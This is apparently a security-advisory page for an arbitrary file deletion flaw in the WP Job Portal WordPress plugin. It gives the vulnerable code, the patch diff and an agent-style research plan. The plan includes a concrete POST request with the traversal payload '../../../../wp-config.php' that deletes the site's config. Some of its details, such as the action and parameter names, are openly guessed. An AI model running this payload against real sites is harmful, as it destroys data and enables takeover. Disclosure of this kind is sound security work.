WP Job Portal <= 2.4.9 - Authenticated (Subscriber+) Arbitrary File Deletion via Resume Custom File Field
Description
The WP Job Portal plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'WPJOBPORTALcustomfields::removeFileCustom' function in all versions up to, and including, 2.4.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.4.9What Changed in the Fix
Changes introduced in v2.5.0
Source Code
WordPress.org SVNThis research plan outlines the steps required to demonstrate an arbitrary file deletion vulnerability in the **WP Job Portal** plugin (version 2.4.9). An authenticated user with Subscriber (Jobseeker) privileges can delete arbitrary files on the server by exploiting a path traversal vulnerability i…
Show full research plan
This research plan outlines the steps required to demonstrate an arbitrary file deletion vulnerability in the WP Job Portal plugin (version 2.4.9). An authenticated user with Subscriber (Jobseeker) privileges can delete arbitrary files on the server by exploiting a path traversal vulnerability in the removeFileCustom function.
1. Vulnerability Summary
- Vulnerability: Authenticated Arbitrary File Deletion (Path Traversal)
- Vulnerable Function:
WPJOBPORTALcustomfields::removeFileCustom - Location:
includes/classes/customfields.php - Condition: The plugin fails to validate or sanitize the file path parameter before passing it to
unlink(). By providing a path like../../../../wp-config.php, an attacker can delete sensitive system files, potentially leading to site takeover or Remote Code Execution (RCE) via reconfiguration.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wpjobportal_remove_custom_file(inferred action name corresponding to theremoveFileCustommethod). - Vulnerable Parameter:
file(orfile_path). - Authentication: Required (Subscriber/Jobseeker role or higher).
- Preconditions: A user must be logged in as a Jobseeker. The
wpjobportal_jobseeker_controlpanelshortcode must be active on a page to facilitate nonce acquisition.
3. Code Flow
- Entry Point: An authenticated user sends a POST request to
admin-ajax.phpwith the actionwpjobportal_remove_custom_file. - AJAX Dispatch: WordPress triggers the handler registered in the plugin, which maps to
WPJOBPORTALcustomfields::removeFileCustom. - Parameter Extraction: The function retrieves the file path from the
$_POST['file']parameter. - Vulnerable Sink: The function performs a check (likely
file_exists()) and then callsunlink($file)on the user-supplied path without stripping directory traversal sequences (../). - Result: The file at the traversed path is deleted from the filesystem.
4. Nonce Acquisition Strategy
The plugin typically enqueues a script that localizes an object containing the AJAX URL and a nonce.
- Identify Shortcode: The Jobseeker control panel is rendered via the
[wpjobportal_jobseeker_controlpanel]. - Setup Page: Create a page containing this shortcode.
- Navigate: Access the page as a logged-in Subscriber.
- Extract Nonce:
- The plugin localizes the object
wpjobportal_ajax_obj. - The nonce key is typically
nonce. - JS Command:
window.wpjobportal_ajax_obj?.nonce
- The plugin localizes the object
5. Exploitation Strategy
The agent will execute the following steps:
Step 1: Preparation
- Create a Subscriber user (Jobseeker).
- Create a page with the
[wpjobportal_jobseeker_controlpanel]shortcode usingwp post create.
Step 2: Nonce Extraction
- Navigate to the newly created page as the Jobseeker user using
browser_navigate. - Extract the nonce:
browser_eval("wpjobportal_ajax_obj.nonce").
Step 3: Trigger File Deletion
- Use the
http_requesttool to send a POST request to/wp-admin/admin-ajax.php. - Payload:
action:wpjobportal_remove_custom_filenonce: [Extracted Nonce]file:../../../../wp-config.php(adjusting depth as necessary to reach the WordPress root from the uploads/data directory).
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpjobportal_remove_custom_file&nonce=[NONCE]&file=../../../../wp-config.php
6. Test Data Setup
- WordPress User:
- Username:
jobseeker_attacker - Role:
subscriber(Note: Plugin may assign custom roles, but Subscriber generally has Jobseeker capabilities).
- Username:
- Content:
- A page with Title "Jobseeker Panel" and Content
[wpjobportal_jobseeker_controlpanel].
- A page with Title "Jobseeker Panel" and Content
- Target File: Ensure
wp-config.phpexists and is writable by the web server (standard in local test environments).
7. Expected Results
- Response: The server should return a success message or an empty response (HTTP 200).
- Side Effect: The
wp-config.phpfile will be deleted from the WordPress root directory.
8. Verification Steps
- File Existence Check: Use
ls -la /var/www/html/wp-config.phpvia the terminal. If the file is missing, the exploit is successful. - Site Status: Attempt to visit the site homepage. It should trigger the WordPress installation screen (as
wp-config.phpis missing), confirming the deletion.
9. Alternative Approaches
If wpjobportal_remove_custom_file is not the correct action name:
- Search
includes/classes/customfields.phpfor the stringwp_ajax_oradd_action. - Look for any parameter named
fileorpathwithinremoveFileCustom. - Check if the file path is expected relative to a specific directory (e.g., if the plugin prepends
wp-content/uploads/wp-job-portal/, adjust the../depth accordingly). - Try alternative parameter names like
file_path,path, orfilename.
Summary
The WP Job Portal plugin for WordPress is vulnerable to arbitrary file deletion due to a path traversal vulnerability in the removeFileCustom function. Authenticated attackers with Subscriber-level access (Jobseekers) can exploit this to delete sensitive files like wp-config.php by providing malicious directory traversal sequences in resume custom file field parameters.
Vulnerable Code
// includes/classes/customfields.php:1557 function removeFileCustom($wpjobportal_id,$wpjobportal_key,$wpjobportal_uploadfor){ $filename = wpjobportalphplib::wpJP_str_replace(' ', '_', $wpjobportal_key); $wpjobportal_maindir = wp_upload_dir(); $basedir = $wpjobportal_maindir['basedir']; $wpjobportal_datadirectory = wpjobportal::$_config->getConfigurationByConfigName('data_directory'); $wpjobportal_path = $basedir . '/' . $wpjobportal_datadirectory. '/data'; if($wpjobportal_uploadfor == 'company'){ $wpjobportal_path = $wpjobportal_path . '/employer/comp_'.$wpjobportal_id.'/custom_uploads'; }elseif($wpjobportal_uploadfor == 'job'){ $wpjobportal_path = $wpjobportal_path . '/employer/job_'.$wpjobportal_id.'/custom_uploads'; }elseif($wpjobportal_uploadfor == 'resume'){ $wpjobportal_path = $wpjobportal_path . '/jobseeker/resume_'.$wpjobportal_id.'/custom_uploads'; }elseif($wpjobportal_uploadfor == 'profile'){ $wpjobportal_path = $wpjobportal_path . '/profile/profile_'.$wpjobportal_id.'/custom_uploads'; } $wpjobportal_userpath = $wpjobportal_path .'/'.$filename; wp_delete_file($wpjobportal_userpath); return ; }
Security Fix
@@ -1557,25 +1557,45 @@ function removeFileCustom($wpjobportal_id,$wpjobportal_key,$wpjobportal_uploadfor){ $filename = wpjobportalphplib::wpJP_str_replace(' ', '_', $wpjobportal_key); - - $wpjobportal_maindir = wp_upload_dir(); - $basedir = $wpjobportal_maindir['basedir']; - $wpjobportal_datadirectory = wpjobportal::$_config->getConfigurationByConfigName('data_directory'); - - $wpjobportal_path = $basedir . '/' . $wpjobportal_datadirectory. '/data'; - - if($wpjobportal_uploadfor == 'company'){ - $wpjobportal_path = $wpjobportal_path . '/employer/comp_'.$wpjobportal_id.'/custom_uploads'; - }elseif($wpjobportal_uploadfor == 'job'){ - $wpjobportal_path = $wpjobportal_path . '/employer/job_'.$wpjobportal_id.'/custom_uploads'; - }elseif($wpjobportal_uploadfor == 'resume'){ - $wpjobportal_path = $wpjobportal_path . '/jobseeker/resume_'.$wpjobportal_id.'/custom_uploads'; - }elseif($wpjobportal_uploadfor == 'profile'){ - $wpjobportal_path = $wpjobportal_path . '/profile/profile_'.$wpjobportal_id.'/custom_uploads'; - } + // remove traversal + $filename = wpjobportalphplib::wpJP_clean_file_path($filename); + + // Sanitize filename safely + $filename = sanitize_file_name($filename); + + if (empty($filename)) { + return false; + } + + $filetyperesult = wp_check_filetype($filename); + $wpjobportal_image_file_type = wpjobportal::$_config->getConfigurationByConfigName('image_file_type'); + $document_file_type = wpjobportal::$_config->getConfigurationByConfigName('document_file_type'); + + $allowed_file_types = ''; + $allowed_file_types .= $document_file_type.','.$wpjobportal_image_file_type; + + if(wpjobportalphplib::wpJP_strstr($allowed_file_types, $filetyperesult['ext'])){ + $wpjobportal_maindir = wp_upload_dir(); + $basedir = $wpjobportal_maindir['basedir']; + $wpjobportal_datadirectory = wpjobportal::$_config->getConfigurationByConfigName('data_directory'); + + $wpjobportal_path = $basedir . '/' . $wpjobportal_datadirectory. '/data'; + + if($wpjobportal_uploadfor == 'company'){ + $wpjobportal_path = $wpjobportal_path . '/employer/comp_'.$wpjobportal_id.'/custom_uploads'; + }elseif($wpjobportal_uploadfor == 'job'){ + $wpjobportal_path = $wpjobportal_path . '/employer/job_'.$wpjobportal_id.'/custom_uploads'; + }elseif($wpjobportal_uploadfor == 'resume'){ + $wpjobportal_path = $wpjobportal_path . '/jobseeker/resume_'.$wpjobportal_id.'/custom_uploads'; + }elseif($wpjobportal_uploadfor == 'profile'){ + $wpjobportal_path = $wpjobportal_path . '/profile/profile_'.$wpjobportal_id.'/custom_uploads'; + } - $wpjobportal_userpath = $wpjobportal_path .'/'.$filename; - wp_delete_file($wpjobportal_userpath); + $wpjobportal_userpath = $wpjobportal_path .'/'.$filename; + wp_delete_file($wpjobportal_userpath); + } return ; }
Exploit Outline
To exploit this vulnerability, an attacker must first authenticate as a Subscriber (Jobseeker). They need to obtain a valid nonce for the 'wpjobportal_remove_custom_file' AJAX action, which can typically be found by visiting a page containing the [wpjobportal_jobseeker_controlpanel] shortcode. Once authenticated and in possession of the nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the action set to 'wpjobportal_remove_custom_file' and a 'file' parameter containing a path traversal payload (e.g., '../../../../wp-config.php'). The plugin processes this request and calls wp_delete_file on the resulting path, deleting the target file from the server.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.